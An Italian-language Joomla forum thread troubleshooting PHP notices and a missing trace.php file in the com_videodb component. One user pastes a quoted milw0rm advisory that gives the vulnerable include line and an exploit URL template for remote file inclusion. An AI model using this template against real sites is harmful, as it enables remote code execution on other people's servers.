com_videodb

[harleyman]

Oggi è giornata di errori..
eccone un altro, che gentilmente mi ha fatto notare un utente
Ho il componente com_videobd, fino a qualche giorno mi andava alla grande (in realtà non mi ha mai dato problemi) ma adesso, come potete vedere dal file allegato, ci sono "un pò" di errori...
Che roba è?

[allegato eliminato da un amministratore]

[surfbit]

L'errore in genere lo hai alla linea 530!! Prova a vedere nel file cosa richiama!!

[napo]

Non è un errore, è una notice.
Sta a significare che il codice è scritto male.
Anzichè scrivere $nomeVar["chiave"] hanno scritto $nomeVar[chiave].
Quindi PHP cerca una costante chiamata chiave, non la trova e spara fuori la notice.
Prova ad abbassare il livello di errori di Joomla.

[harleyman]

Non è un errore, è una notice.
Sta a significare che il codice è scritto male.
Anzichè scrivere $nomeVar["chiave"] hanno scritto $nomeVar[chiave].
Quindi PHP cerca una costante chiamata chiave, non la trova e spara fuori la notice.
Prova ad abbassare il livello di errori di Joomla.

Azz, effettivamente il tutto è successo dopo che ho alzato il livello di segnalazione errori di Joomla.

[napo]

Resta comunque il fatto che il codice del componente è sbagliato.

[harleyman]

Resta comunque il fatto che il codice del componente è sbagliato.

alla qualc soa non so che farci, a dirti al verità.
Però adesso è tornato tutto come prima, se non fosse che devo rifare tutto da capo perchè l'avevo disintallato mannaggiammè!
E... chissà come mai non mi si aprono le locandine dal sito... Aspè, ti dico l'errore:
"Not Found

The requested URL /trace.php was not found on this server."

[napo]

ti dico l'errore:
"Not Found

The requested URL /trace.php was not found on this server."

Verifica se il file esiste.

[harleyman]

ti dico l'errore:
"Not Found

The requested URL /trace.php was not found on this server."

Verifica se il file esiste.

Allora, praticamente, a quanto ho capito, questo componente va  afare una ricerca del film da te indicato sul sito (credo) di IMDB. E fino a qui ci siamo.
Se mi carica la locandina, intendo il thumbnail, perchè non dovrebbe esserci l'immagine vera e propria?
E se anche non ci fosse, non c'è una soluzione a ciò?

[napo]

Verifica se il file trace.php esiste...

[harleyman]

Effettivamente non c'è da nessuna parte...

[napo]

Effettivamente non c'è da nessuna parte...

Verifica se c'è nel file ZIP di installazione.

[harleyman]

Intanto una cosa... che significa stà roba?

Codice: [Seleziona]

com_videodb Mambo Componenet <= 0.3en Remote Include Vulnerability

Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo component remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/7942/com_videodb_v0.3en.zip
 
bug found in file : core/videodb.class.xml.php
 
global $mosConfig_absolute_path;
require_once( $mosConfig_absolute_path . '/includes/domit/xml_domit_lite_include.php' );

exploit:
http://[site]/[mambo]/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=[shell]
 
Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink

# milw0rm.com [2006-07-17]
e poi... non riesco più a trovare da dove avevo scaricato il componente!

[harleyman]

Effettivamente non c'è da nessuna parte...

Verifica se c'è nel file ZIP di installazione.

No.
Non ho trovato il file trace.php da nessuna parte, nè nella versione inglese nè quella polacca originale.
Che si fa?
Ci si attacca?

[napo]

Allora se il file non c'è, l'errore era motivato.

Purtroppo se il file non c'è, hai poco da fare.